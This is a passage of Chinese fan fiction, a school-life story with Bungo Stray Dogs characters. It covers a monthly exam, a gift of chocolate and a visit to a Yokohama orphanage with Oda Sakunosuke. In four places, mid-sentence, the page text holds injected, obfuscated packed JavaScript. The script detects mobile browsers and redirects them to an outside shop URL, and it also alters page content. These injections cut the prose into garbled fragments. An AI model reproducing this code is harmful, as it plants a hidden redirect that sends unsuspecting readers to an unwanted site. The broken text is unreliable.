我视死如归地走出宿舍,由于今天难得起的很早,路上竟然遇见了晨练的贤治。 “贤治早——诶?你不吃早饭么?” 从操场径直走向教学楼的贤治转头活力满满地打招呼:“早啊佑木!今天不是月考吗?为了达到最好的状态,我就没吃饭。” 我懵了:“为什么?” “因为每次饿肚子,答题速度就会加快,正确率也很高。”他露出开朗的笑容:“这是我的小窍门哦!” 我将信将疑:“真的假的?贤治你是体育生吧?” “虽然是以体育生的名义招进来的。”他挠挠头,“但是文化课也很简单呀,每次都在年级前五吧。” 我:猫猫宇宙升华。 “贤治,信你!”我竖起大拇指,临时决定空腹上阵。 好!月考,来战来战! 路上遇到坂口学长。 “学长早啊。” “难得这么早遇见你。” “因为我没吃早饭。” 他挑眉看向我:“今天月考,最近这么刻苦,不至于忘了吧?” “没有,是我同学临时传授的考试技巧。”我竖起大拇指:“空腹上阵有助于提高答题效率。 “……?”他眉心跳了跳,“那位同学是?” “贤治啦。他叫宫泽贤治,成绩很好哦。” 坂口安吾默然。 “很难和你这种死脑筋解释清楚……总之我劝你去吃早饭。” “不,”我异常倔强。“虽然近日的复习达到了女娲补天的惊人效果,但我还是想叠下buff。” “是debuff吧。”他扶额。“如果你执意如此,就把这个袋子拿上,第一场考试完打开。” 他递过来一个精致的小手提袋。我顺手揣进书包,朝他挥挥手:“那我先去教室了!学长祝你考试顺利!” “你也是。” 贤治我恨你。 虽然使用贤治的建议让我感到很安心,一开始答题的确有种考神附体的错觉。但很快我感到四肢无力,大脑空空,笔尖都在颤抖。 我想起坂口安吾欲言又止的神情。早上不吃饭,根本没有力气思考啊!! 看着试卷上密密麻麻的字,感到眼前一黑又一黑,一眼看不到希望。 因为这次月考是按上次成绩排名的,我理所当然地被分到最后一个考场,附近全是混混打扮的学生,碍于监考的福泽老师威严而没有交头接耳,只是在座位上坐立不安地转笔。 谁来救救我,我真的快要碎了。 也许是我的泛白脸色实在太差,引起了福泽老师的注意,他走近我,严肃地问:“千叶佑木,你还好么?” 我颤抖着抬起头和他对视。老师,你的社员谋害我啊。 最终,我万念俱灰地说:“我没事,谢谢老师。” 福泽:此学生怨气深重,难道有难言之隐?值得注意。 我:好多字、看不懂、不想答……好想冲进贤治的考场把他啃了。 后面的题我打起精神,勉强答完了。然而早上有两场考试,我熬过了第一场,还有下一场,随着时间的延长恐怕更加要命。但两场考试之间的时间又不足以让我去食堂补充能量。 我有些绝望地拿着下场考试的书籍复习,突然想起坂口学长给我的手提袋。我抱着破罐子破摔的想法把书放下,打开书包翻出手提袋,郁闷地打开。 诶?巧克力? 我眨眨眼睛,那手提袋里竟然是精致的包装盒,里面装着巧克力。坂口学长……你真的,我哭死。 我把那盒巧克力拆了,取出一块塞进嘴里,低血糖造成心悸的慢慢褪去,感到力气在逐渐恢复。我一脸“活过来”的表情,连着吃了几块,把剩下的巧克力装好,准备下一场考试。 万幸,后面的考试再无意外。 而我已经在思考,今后逢年过节要不要提点礼物上门拜访坂口学长。 下午把这件事和晶子说了,晶子神色微妙:“这种东西因人而异,对他来说确实空腹效率更高。” “这算是贤治的特色吧,别人学不来。” 我也沉默了,揣摩道:“难道他也有异能力?” 与谢野晶子惊讶地看我一眼:“你知道?他的异能力「无畏风雨」的确和这个差不多,但考试对异能力的看管是很严格的。空腹考试只能算他的个人习惯,不是异能力。” “……你们对异能力的设定真的好完善。”我捂脸。甚至还挺有素养,其实是为有这么中二的异能力却无法在考试取得高分而补的借口吧? 与谢野晶子总是无法理解我关于异能力的吐槽,可能由于我是转学生,和他们这些横滨本土学生有认知差异吧。她也没有深究,转而说: “贤治这么和你说,你就那样信了?没有一点怀疑?怎么想空腹考试都不会有什么正面效果吧?” 我振振有词:“可是他是年级前五诶。” 贤治这么做一定有他的道理。 与谢野晶子张嘴就要骂:“你……算了。” 她难得温柔地安慰我:“早上的考试就算了,其他科努力。” 我没敢告诉她只有第一场发挥不好是饿得,第二场纯粹因为巧克力一口气吃太多了齁得想喝水。 好在其他考试有惊无险地结束了。 果然临时抱佛脚,不快也光。至少文科答题流畅许多,但理科就让我华丽丽地破防。 吃午饭时被迫听着小银和芥川对着答案,默契程度高到我无法听懂,当然也可能是我连题都没看懂的原因。后者过于扎心被我排除掉了。 伤过的心就像玻璃碎片。 “佑木考得如何?”小银主动问我。 “勉勉强强啦。”我勉强回答道,把问题抛了回去:“你们呢?” “和平时一样。”小银严谨地回答。 “这次绝对碾压人虎。”芥川矜持地说。 呃,中岛敦是什么战斗单位吗? “为什么要和中岛君比?”我弱弱提问。 “为了获得太宰学长的认可。”芥川眼里闪过坚定地光。 ……这。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213645|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他的认可有什么用?”我顺口道,“就算他不认可你,还有我和小银啊。” 芥川一愣,有些恼怒:“太宰学长是不一样的……” “重要吗?”我耸肩:“反正在我和小银眼里,你肯定是最厉害的啊。” 我说得没错。芥川除去黑手党这一身份,在班里从不迟到早退,上课认真听讲,对待同学老师虽说有些冷淡,也不算失礼,成绩似乎名列前茅,算得上品学兼优的好学生。而且听红叶学姐讲过,芥川在社团也认真参与活动,在黑手党很有名气。的确是我认识的人中很优秀的人。 芥川无言以对,皱着眉思考如何反驳我,我竟然从他空空的眉头看出几分不知所措,似乎对我的贴脸开大感到无所适从。 “……噗。” “银,你笑什么?” 小银抑制住耸动的肩膀,以免让哥哥更羞恼。她说:“你说得对。” “……在我眼里,哥哥一直是最厉害的。” 芥川安静下来。 良久他才欲盖弥彰地轻咳两声。 晚饭再次遇到侦探社一年级成员,可能是侦探社会让低年级学生先离开,高年级自觉留下加班吧。非常人性化,不像黑手党,晚上根本见不到小银。 “佑木,一起吃晚饭吗?”春野绮罗子自然地发出邀请,接着发现不对:“怎么了?这副表情盯着贤治?” “嗯?”贤治和我对视一眼,露出恍然大悟的表情,“怎么样,我说的技巧很管用吧!” “……”中岛敦:“冒昧问一下,贤治,什么技巧?不会是……” 宫泽贤治露出灿烂的微笑:“就是饿着肚子考试啦。” 我死鱼眼:“实践过了,差点在考场昏迷。” 谷崎润一郎吐槽:“这种事情,连敦都不会轻易相信,还打电话给国木田确认,你居然深信不疑。” 我抓狂。该怎么解释我只是相信他的排名。 “对佑木没用吗?”宫泽贤治露出失望的表情,“抱歉,我以为你会和我一样呢。” 我磨了磨牙,微笑着说:“贤治,你让我打一拳吧。” 贤治有些惊讶,不过顺从地靠近我。我也不客气,干脆地捶他一拳。尽管我用了八成力气,贤治也没有多大反应,好像被挠了一下似的,朝我露出温柔的笑。他面颊的雀斑轻轻跳跃,金色头发在阳光下闪耀,像一只欢快的萨摩耶。 他问:“你消气了吗,佑木?” 我没忍住大笑出声,推了他一把:“原谅你了!下次别到处传授你的技巧了!” 贤治继续凑过来问:“那长假还和我回乡下吗?” 我和他把脑袋凑一起,我小声说:“当然去啊,不过后天走吧。” “太好了,我真的很想念花子。” “花子是母牛的话,你这次回去会不会见到小花子?” “诶?那更好了……” “不会连幼崽也要吃吧?!” “不,吃小牛是不人道、也不牛道的行为……” 侦探社看着刚刚闹别扭,此时又把脑袋靠一起不知道在嘀咕什么的两个小孩,露出会心的笑容。 26. 出发!孤儿院 吃完晚饭大家都回寝室收拾东西准备回家,毕竟长假很少有人愿意待在学校。谷崎兄妹挽着手离开,很难想象他们要回到怎样的家庭……绮罗子的家就在横滨,但她担忧猫毛过敏的父母无法接受自己在学校捡的猫,所幸小咪已经跑走流浪了,似乎不愿意离校。 中岛敦不愿意回孤儿院,贤治打算后天和我一起回乡,所以暂时留校。由于这两天有约,我也没打算回东京。唯一出乎意料的是泉镜花也留校,我问:“泉不回家吗?” 泉镜花安静地摇摇头。微垂着眼眸不知在想什么。 中岛敦解释道:“镜花的父母在政府单位工作,没有时间照顾镜花。” “这样啊。”我没有再问下去,朝她眨眨眼,表示我的歉意。不过中岛君你怎么这么了解?看着相处宛若兄妹的二人,我轻哂。 陆续与侦探社分别,我继续与泉镜花走向宿舍。 “上次问你的问题,怎么样。” 她指的是问我和黑手党关系如何的问题。 我认真地回答:“应该算友好。” 她沉默地看着我,眼里不知是担忧还是意见没被听从的难过。她说:“黑手党是暴力的集团。” “虽然我不打算加入黑手党,但它值得尊敬。” 我想要和她讲森先生的感人事迹,但总有种莫名的预感,觉得她会把我当神经病,于是我改口安慰她:“不要多想,泉。好好享受假期吧。” 她微微垂头,居然有些不高兴地说道:“你都叫她们直美和绮罗子。” 我微微一怔。 的确是这样,侦探社其他的女性我都是更亲昵地喊名,连大一届的晶子学姐都在前几日改口。但却叫泉镜花的姓。因为泉镜花更文静,而且对我和黑手党的交往更加抵触,我不敢唐突她。看样子,难道泉镜花会在意? 我微微侧目看泉镜花。她精致的五官此刻流露出类似于苦恼的神情,眉头微蹙好像受到委屈,泛红的面颊带着点婴儿肥,看起来十分好rua。 我思索一会,还是认真地问她:“你想说什么呢?” 她久久未言,面上郁郁的神情更加明显。我想到泉镜花的父母对她疏于管教,恐怕不擅表达。我有些心软,打算循循善诱。 她突然抬头,认真地看着我说:“我想让千叶、叫我镜花——” 诶? 就、就这么贴脸开大了? 我愣住了。 她看着我的眼睛扑闪扑闪,明明面无表情却无端读出几分期待,萌啊,实在是萌。 好吧,认输。 我小声说:“让我叫你名的话,你得先改口吧……镜花酱。” 似乎看到她的眼睛亮了一下,肉眼可见地冒起小花,虽然仍面无表情。嗯,她的表情怎么又单一又丰富的? “……佑木。” 话又说回来,镜花和我的交往也不多,仅有的几次交流都是有关黑手党,还都不愉快。我以为镜花不会太喜欢我呢,没想到会为了称呼生闷气。 ……突然想到镜花几次主动找我谈黑手党,难道是她在意的表现? 我慢很多拍想到。 “佑木,在想什么?” 我干脆直接问本人:“在想镜花之前为什么找我谈黑手党?” 她表情很认真:“黑手党很危险,你会受伤。” 果然是这样……我扶额。刚好宿舍到了,我摸摸镜花的头:“放心好了,我不会让自己受伤的……镜花,回宿舍吧,假期愉快。” 她面颊微红,点了点头离开了。看着她的背影,总觉得在冒小红花。 回到宿舍,小银正在收拾行李,看来是要回家。 “假期打算干什么?”我问小银。 “管理公司。”小银不太好意思地答道。 啊,差点忘了,我的舍友可是成功继承父母财产的二代,上一个惹她的人现在还在她手下的厂打螺丝呢。 “佑木,有空来我们家玩。”小银发出邀请。 我答应了,又微妙地问道:“不会有管家说‘你是小姐带回来的第一个女人’这样的情节吧?” 小银:“……不会的。我保证。” 当然,后来去他们家,的确没发生这样的事。只不过管家姨母笑看着我说了句“你是少爷带回来的第一个女人”。 那都是后话。 第二天一早,我起身洗漱,换了一条浅绿色的裙子出门。大多数人回家了,宿舍楼显得很空旷,走路都能听到回响。 出了宿舍楼,遇见抱着一堆杂物的中岛敦。 “中岛君,早上好,你在干什么?” “啊,趁着假期整理一下侦探社的资料。早上好,千叶。”他从高高一摞资料中抬头看了我一眼,愣住了。 接着我叹为观止地看着他表演了一个平地摔,很快被资料淹没。 太了不起了,中岛君。平地摔这种东西,就连我一个正经JK至今都没学会啊。 我无奈地停下脚步,蹲下和他一起捡资料。却难料他猛地把头抬起来,痛击了我的下巴。 “对不起,千叶。”他慌张地说。 “……没事啦,中岛君今天怎么毛手毛脚的。” 他小心翼翼看我一眼,又飞速低下头捡资料,耳尖泛红。“你今天的裙子,很好看。” 中岛君你快捡出残影了…… 我没忍住笑,帮他把资料捡完。没等他道谢就起身,主动转了个圈。浅绿色的裙摆划过优雅的弧度,银绿色暗纹在阳光下微闪,优雅又低调。 “是我的人好看吧。” 他更慌张了:“啊、是……我是说、裙子,不对……” 我扶了一把资料,防止他又摔倒。我笑着说:“好啦,说不出口就算了——有这么勉强吗?” “没、没有……”他结结巴巴地说:“千叶今天出去玩吗?” “算是吧。”我挠挠脸,“和一个朋友约好了去孤儿院看望孩子。” 本担心孤儿院会不会引起他抵触的情绪,只见他神情慢慢温柔下来:“看望孩子们吗……太好了。” 在孤儿院的孩子,谁不希望被人惦记呢。 中岛敦回神,见到我担忧地看着他,不由感到好笑。 “千叶,要迟到了吧?” 我看了一眼表,发现时间不多了,连忙和他挥挥手离开。 “千叶!”他在身后叫我。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213646|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我一边朝前走,一边匆匆转头看他,“怎么了?” “你今天很漂亮。”他眼里的紫金色流转着笑意,紧接着愣了一下:“千叶,你前面有……” “我知道!”我朝他呲大牙。 “那、那就好?”他犹豫着点点头。 “咚!”我一头闷在电线杆上,应声而倒。 中岛敦:“……你知道什么啦?!” 知道我很漂亮啊!! 等我赶到咖喱店时,织田学长已在店门口等候我多时。 “不好意思,织田学长。久等了。”我小跑到他面前,呼吸稍微急促。 他还是一如既往地淡定。“没事,并没有等多久。”他盯着我的脑门沉默一瞬:“这是,流行的妆容吗?” 什么?我没化妆啊……等等。 我僵硬地转头瞥了一眼店门前贩卖机玻璃橱柜的反光,我的脑门微红,在白皙肌肤的映衬下格外显眼。 “……是的,日杂妆。”我避开他湛蓝的双目,镇定对答。不过是腮红打错地方了。 “虽然不懂妆容,但你的妆还挺像撞到了电线杆。”他坦白说道。 我沉默。 “啊,可能有些冒犯,不好意思。你今天很美。”他后知后觉地补充。 “不……一点不冒犯……”我扶额,“织田学长,我们走吧。” 他点点头,背起巨大旅行包,边走边说:“孤儿院就在横滨,坐电车一小时。” “好的。学长,你背的什么?” “孩子们要的东西。粘土、果冻、球拍之类的。” “诶——这么重吗?”我试着提了一下,他扶了一下包防止我提不动猛地摔倒。 “五个孩子都要东西,少了谁的就会打架。”他有些苦恼。 嗯,幻视远走他乡打工多年,拎着大包小包回家探亲的老父亲。 电车上人不多,我扒着窗户看外面的景色,感到横滨这座城市和东京有很大不同。相较于东京的繁华,这片曾经是租界的土地有更多复古风格的建筑,给人以沉寂而并不没落的肃杀之气。 “织田学长,那是什么?”我指着高架桥下一片地方问。 “嗯?”他朝窗外瞥了一眼,高架桥能看到远处的一片街道。“街头宿醉的人。” “……人们?”我看那片路边趴着一大片人,活像某种血祭现场。 “啊,这边混混喝醉了就睡一起,更安全。”他面无波澜地说,拿出手机打电话。“让警察领他们回家吧。” 这时,路边慢腾腾走过来一位七旬老太,兴许是腿脚不便,被地上的酒瓶子绊倒了。老太太一屁股坐在地上哎呦哎呦地叫唤。路边行人匆匆路过,懒得理她一眼。 “这么多人路过居然没有人扶吗?”我惊了。 “怕碰瓷。”织田作之助说,“没关系,警察很快就来了。” 这时,那边的行人逐渐稀少。老太太见周围没有人,啐了一口就麻利地爬起来,在躺倒的一片宿醉的人身上翻来翻去,手脚麻利得堪称钱包收割机。 我和织田作之助:“……” “……没关系。警察很快就来了。”他无端重复。 27. 横滨孤儿院(一) 我:“就,横滨真是,民风淳朴啊。” “横滨几十年来一直如此。”他顺着我的话聊下去,“不说社会动荡,小偷小摸的行为也屡见不鲜。” “高校那一片就还好啊。”我思考了一下。虽然偶尔出去吃饭也能遇见混混,校内也有不良,但总的来说掀不起什么风浪。 “那边有校方治理。”他没再解释。 车到站了,我和他一起下了电车。走了一段路后到达横滨孤儿院,他熟练得和门房交流,不一会就有人过来迎接我们。带着我俩去了一个房间。 “织田作——”房间一打开,就听到吵吵嚷嚷的童声。几个小孩争相扑过来,织田学长挡在我身前,游刃有余地接住了五个小炮仗。 “我们好想你——” “我的果冻带了吗?” “好过分啊优!只关心这个问题——” “克巳你明明也在期待球拍吧!” 七嘴八舌的争吵声中,织田作之助缓缓让开身,露出了身穿绿裙子的我。 五个刚刚还闹翻天的孩子立马像猫崽子一样安分下来,眼不眨一下地紧紧盯着我。被五个萌萌的孩子盯着本应感到心软,但…… 开门的瞬间我明明看到一个小孩掏出了弹弓要狙击织田学长!另一个角落的小孩手上拿的网球其实是准备扔过来爆头的吧!还有一个孩子手上为什么拿着蒙面用的黑罩头啊!织田学长领先我半个身位开门,刚刚明明是借着搂孩子的动作收缴武器。在他身后的我全都看到了! 就,压力挺大的。 “织田作,你终于交女友了吗?”小女孩睁着水汪汪的大眼睛好奇地打量着我。 “不,是我的校友。”他看向我。 “你们好~”我笑眯眯地和小朋友打招呼,“我叫千叶佑木,如果愿意的话,可以叫我千叶姐。” “才不要呢!”一个男孩不爽地开口,“我可是要加入——成为假面超人的男人,我才不要叫一个陌生的女人姐姐。” 我没忍住笑出声,凑近他问:“你确定吗?” 他慌张地后退一步,从脸红到脖子,四肢都不知该放哪里,五官乱飞,还强撑着说:“我确定——” 两小时后。 “千叶姐!把我的球拍还给我啦!” “哼哼,连手抓球都玩不过我的人,没资格要回球拍。” “可恶!再来一局!” “来就来,咲乐和我一队,真嗣你和优一组。” “那我呢千叶姐?” “克巳你去楼下看一下织田学长饭做得如何了,需不需要我们帮忙。一会回来我给你折千纸鹤。” “啊啊!千叶!为什么他们四个都有橡皮鸭玩具,只有我没有?!” “诶——本来我准备了五个的,但小孩子好像不能接受陌生人的东西吧?” “切!我才不稀罕!” “是吗?幸介——?” “……千叶姐。” 可能是容貌加成,孩子们对高颜值的女人抵抗力低得可怕,加上我喜欢折腾人,他们很快被我拿捏住。小孩子是最好哄的,我在东京上学时经常拜访隔壁阿笠博士的的三个小孩子就很喜欢我,一看见我就要粘着。 在房间待了半小时,我就俨然成了说一不二的孩子王,织田作之助像个人机一样在一旁看了半天,发现并没有他的戏份,最后只能下楼帮院长收拾卫生。 而我,和孩子们玩你画我猜,翻花绳,进行手抓球大战,很难说我和孩子谁更乐在其中。 玩得正如火如荼,竟然觉得房间小了,我们一伙人又跑下楼在偏僻的小院里踢毽子。孩子们的笑声如银铃般清脆,把原本寂寥的角落逐个点亮。 我实在跑不动了,朝他们挥挥手示意孩子们先玩。我一屁股坐到院子的台阶上,看着孩子们欢快的背影止不住得发笑。 看咲乐不知道嘀嘀咕咕地和真嗣、优说了什么,真嗣和优大怒,决定联手袭击克巳,结果克巳闪身躲开,真嗣扑到幸介身上。幸介跟个炮仗一样跳起,追着真嗣打,优不忘初心仍试图偷袭克巳。唯一的女孩咲乐也不是省油的灯,一毽子踢到克巳屁股上,克巳怒而回头看见了幸介,最后成了四个男孩的大混战。咲乐深藏功与名,笑眯眯地在旁边呐喊助威。 “很开心吗?” 我转头,原来织田学长不知何时站在我身后。他湛蓝的眼眸承载着孩子们打闹的身影,柔和又温暖。 “开心呀,好久没和孩子玩了。”我呲牙傻乐。 “我说过,孩子们会喜欢你。”他继续说道。 我想起这是初遇时他说的话,忍俊不禁。“我现在都不知道学长你是怎么判断的。” “你很纯粹。”他坦率道,“每个人的气质都不一样,你的气质和孩子一样纯粹。” 哦,说我像小孩一样幼稚。傻乐呗。我没往心里去,毕竟人家已经说得很委婉了。 “话说……”他突然凑近了我,眼底有着疑惑和探究。 “怎、怎么了?”他的贸然靠近让我有些惊讶,头微微后仰,有些紧张地问。 他望着我不语,半晌道:“那个……日杂妆,还会变色吗?” “?” “这里。”他指了指额头,平淡地说,“变青了。” …… 我捂住额头,冷静地说:“是的,它会变色。” 他镇定自若地点点头:“了不起。” 我眼神死。 眼角突然瞥见一抹绿色。我立马被吸引了注意,跑去草丛扒拉那一片三叶草丛。 “佑木,你在干什么?” “这边有一片三叶草,快过来找找四叶草——会带来好运哟。” ……这是小孩子热衷的活动吧。织田作之助心想,还是跨进草丛和我一起在三叶草丛中寻找。 但直到孩子们饿了,叽叽喳喳跑过来问织田学长午饭什么时候吃,我俩才从草丛中乱糟糟地起身。 “看来幸运女神不眷顾我们。”我遗憾地说。 “啊。”织田作之助不知如何安慰我。不过,幸运女神从来没有眷顾过他吧。他心想。 “吃饭了,孩子们。”等他反应过来时,我已经活力满满地招呼着孩子走进屋子了。织田作之助心中无奈,慢慢跟上我们,不知为何,他难得露出一抹笑意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213647|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 午饭是孤儿院统一的,织田早上负责在后厨打下手。 “得亏后厨不够信任你,不然全院都要改吃辣咖喱了。”我调侃。 织田作之助深表遗憾:“辣咖喱也不错。但是小孩子吃不了太辣的。”咦,没想到织田学长你还没有丧失理智啊。 本以为几个孩子吃饭会更闹腾,没想到他们吃饭时候乖乖的,连米饭都没有漏。 “不错嘛,几个小孩节约粮食意识很强哦。”我和织田有一搭没一搭地聊着。 “嗯,大概是小时候挨过饿吧。” “诶?孤儿院不至于苛待小孩吧。”此话说出口时,我脑中突然浮现一个穿着不合身衣衫的少年,狗啃刘海下是悲伤却按而不发的紫金眸。 “没有,是他们小时候从孤儿院偷跑出来,一路流浪到高校那边。” ……好强悍的小孩哥小孩姐们。 “我遇见他们的时候,他们已经两天没吃饭了,差一点就饿死在路边。”织田作之助平静地回忆。 “……然后呢?” “我给他们做了顿饭,然后把他们送回孤儿院。但是他们不愿意让我离开,于是我保证,每周都会来看他们。” 我了然,这就是他们相遇的过程。 “所以你一直坚持到现在。” 织田作之助回忆的温和表情慢慢收敛,仿佛从美梦中惊醒一样,他又恢复了波澜不惊的神情:“不……失约过一次。” “发生什么了?” 他沉默了一下,然后坚定地摇摇头。“只因为一些小事。” 我笑着撇开话题:“那也很负责了。”高校的生活不算紧张,但每周都抽出一天坐车一小时来这边也不容易。织田作之助笑笑,看着孩子没有说话。 我托腮看着孩子吃饭,想到一个问题,小声问:“为什么几个孩子要从孤儿院跑出来?” 难道他们在孤儿院遭遇了什么…… “我当时问过院长,自己也观察了几年。”织田作之助说,“并没有苛待,比起其他孤儿院,这家的福利已经很好。” “那为什么……” “都是孤儿院的孩子,受点委屈是难免的。” 我了然。 无人牵挂的小孩,在孤儿院总会遭受一些不可避免的委屈。但他们当时还小,不知道自己是孤儿,以为自己有淘气的成本。 幸好,几个小孩子孤注一掷的流浪,找到了自己的避风港。 织田作之助。 小孩子真是精力旺盛啊……吃完饭后休息了一会,孩子们又开始打闹,缠着我玩。中午的阳光太晒,我怕孩子们晒坏了,干脆一起在房间里画画。 孩子们窝在一起不知道在捣鼓什么,我受幸介的委托在画假面超人。突然咲乐扯了扯我的衣襟,我好奇地走过去一看。 “千叶姐!这是我们画的合影!”几个孩子齐声说。 我仔细看看,很好,五个孩子画的很有特色,一眼就能看出是谁。等等,旁边的绿色倒扣漏斗是我吗?! 呃,你们说,这个红色拖把是织田学长?不好意思,为什么他长根了……哈,胡须。 28. 横滨孤儿院(二) “画得很好,一会可以叫织田过来猜猜哪个是他。”我窃笑。 “一眼就能看到织田作,为什么要猜啦!” “哈哈,话说,你们为什么叫他织田作?” “顺口啦。”优回答。 “一开始是织田作的朋友这么叫的。” “那他的朋友真是个人才。”我由衷地说。 克巳也兴致勃勃地说:“而且,能叫大人的外号,感觉很酷——” 嗯,织田作确实很顺口诶。虽然这么叫织田作学长不太礼貌……哦不,我是说,不是织田而是织田作——抱歉。 织田作。 “你们愿意再画一幅画吗?”我笑着问。 “什么?”优最快回答。 我仔细想想,几个小孩子画的人实在……辨识度不高。“画一只白虎好吗?小画家们?” “我想送给一个朋友。”我朝他们眨眨眼。 小孩子被我的一声“小画家”哄得找不着北,乐颠颠地凑在一起画开了。我心里要笑翻了,怕几个男孩不好意思,强绷着脸弯腰把散落在地上的蜡笔捡起来。有一支蜡笔掉到角落,我挪过去捡起,突然发现角落闪了一下。 我疑惑地转头,什么也没有。我试探地移动了一下位置,眼睛立马被光线刺了一下,发现角落居然放着一个被布包着的长条状物品,一头的布有些松,露出了一点金属光泽,在阳光下刚好晃了我的眼。 嗯,看着像……好吧,有点眼熟,但是说不上来是什么,一个类似于把手的东西,还是月牙形状。我犹豫一下,还是没有凑过去一探究竟,而是起身把蜡笔都放进笔袋。 “佑木。”织田作之助不知道站在房间门口,看着我们画画。他正静静地站在门口凝视我。 “怎么了?织田作?不、织田作学长?……哦,抱歉。” 他眼里闪过笑意,“和孩子们一样叫我织田作就行。” 这个眼神……织田作你不会把我也当闺女了吧,收收你并不无处安放的父爱啊! 他递给我一张绿色纸片,我有些莫名其妙地接过,下意识摩挲一下,是卡纸的材质,和小孩刚刚玩的一致。打开,居然是四叶草的剪纸。 我愣住了。 “孩子们刚好有彩纸,我就剪了一下。”他难得有些不好意思,微微抿了抿嘴,“能为你带来好运吗?” “当然了!” “但为什么只有一个!织田作你也应该有啊。”我假装抱怨,其实嘴角已经勾起。 因为他不觉得自己会幸运。他想了想,说:“因为四叶草可遇不可求,只能找到一个。” 没想到织田作这么可爱,专门为我剪了棵四叶草,我强忍着笑意说道。“那就希望这个四叶草,第一保佑我月考顺利。” 他侧目,“还有第二吗?” “第二就是,希望织田作的左手快点痊愈。”我轻快地说。 他愣了一下,“你发现了?” “当然啦,上次店长说的伤就在左手手臂吧?不然谁端菜单手啊,又没让你炫技。”我吐槽。 他默然。说:“保佑你自己就好。” “不,要实现就一起实现吧。”我小心翼翼地把四叶草塞进背包。 我刚说完,转头发现五个孩子居然都停下了画画的笔,齐齐八卦地看着我们。 ……我扶额。 看来孩子们只是不擅长画人。我看着画纸上呆萌可爱的大老虎,朝他们竖起大拇指。屏住呼吸暗中观察着我的几个男孩松了口气,欢呼起来,在我似笑非笑的眼神下又立马敛声,装作不在意地移开视线。 我清清嗓子,郑重其事地说说:“谢谢各位天才画家们!我的朋友一定会珍藏这幅大作!” 孩子们嘻嘻哈哈地笑了。咲乐趴在地毯上歪头看向我,脆声问:“千叶姐,你会唱歌吗?” 我挠挠头,说:“会得不算多……” …… 十分钟后,我抱着不知道从哪翻出来的儿童竖琴玩具,和孩子们轻声唱着经典儿歌。玩具竖琴的音实在不准,弹起来的曲调非常滑稽。 唱了不知道多久,我实在渴的受不了,摆摆手比了个“暂停”,旁边的织田作适时递过来一杯水,我接过来豪饮。 ……不愧是在咖喱店打工的织田作。 “佑木,要走了。”织田作看了一下表。 “诶?时间过的这么快吗?”我有点惊讶,明明今天什么都没干,怎么就要回去了?……好吧,也不能算什么都没干,咳咳,至少把几个孩子玩了个遍。 “织田作,千叶姐……”几个孩子眼里流出浓厚的不舍之情。眨着大眼睛,向我发射出光芒,似乎不希望我离开。 织田作:嗯?平时孩子有这么舍不得我吗? 我也有点舍不得,还是欢快地摸摸他们的脸:“哎呀什么表情,姐姐我下次还来嘛!青山不改,绿水长流,再会咯!” 孩子们自知无法阻止我的离开,都一言不发地垂下头,可有可无地听着我的话。 情绪完全没被我调动起来啊喂! 我想了想,脑中倒是浮现出一个哄孩子专用技能。脑中大致构思了一下,也就硬着头皮上了!我清清嗓子,手里打着节拍,轻轻哼道:“咲乐掉进兔子洞,优是常胜将军。克巳赶跑乌鸦群,幸介骑士凯旋。真嗣稳坐中军帐,织田作来敲门。” 几个焦虑的孩子慢慢安稳了下来,睁大眼睛噤声聆听我哼唱。大概从没有人把他们编进歌谣吧,孩子看起来很新奇。 看着他们天使般的容颜,真是难以想象他们实际上是怎样的调皮捣蛋。但我知道每一个孩子都值得用爱去陪伴。我强忍着笑意,温声说:“下次来的时候一起唱,好吗?” “好——”被我治得服服帖帖。 我朝织田作比了个“ok”的手势,咲乐突然小声说:“歌词里没有千叶姐吗?” 我被问住了。老实说,编其他人的词还好,轮到我自己呢,尴尬之情就无可避免,很难发挥。 这时织田作用平淡地语调说:“千叶是仙女教母,只拜访乖孩子。”他的语气如此平常,也没有踩上节拍,如果不是称呼我为“千叶”,我甚至一开始没发现他在补充歌词。 孩子们小声“哇”了一声,用亮晶晶的眼睛看着我。 织田作把背包放下,走近孩子,半蹲着把他们搂在怀里。他说:“佑木要走了,我也要走。我下周还会来,至于佑木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213648|139299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她学业紧,但有空就会来看你们,好吗?” 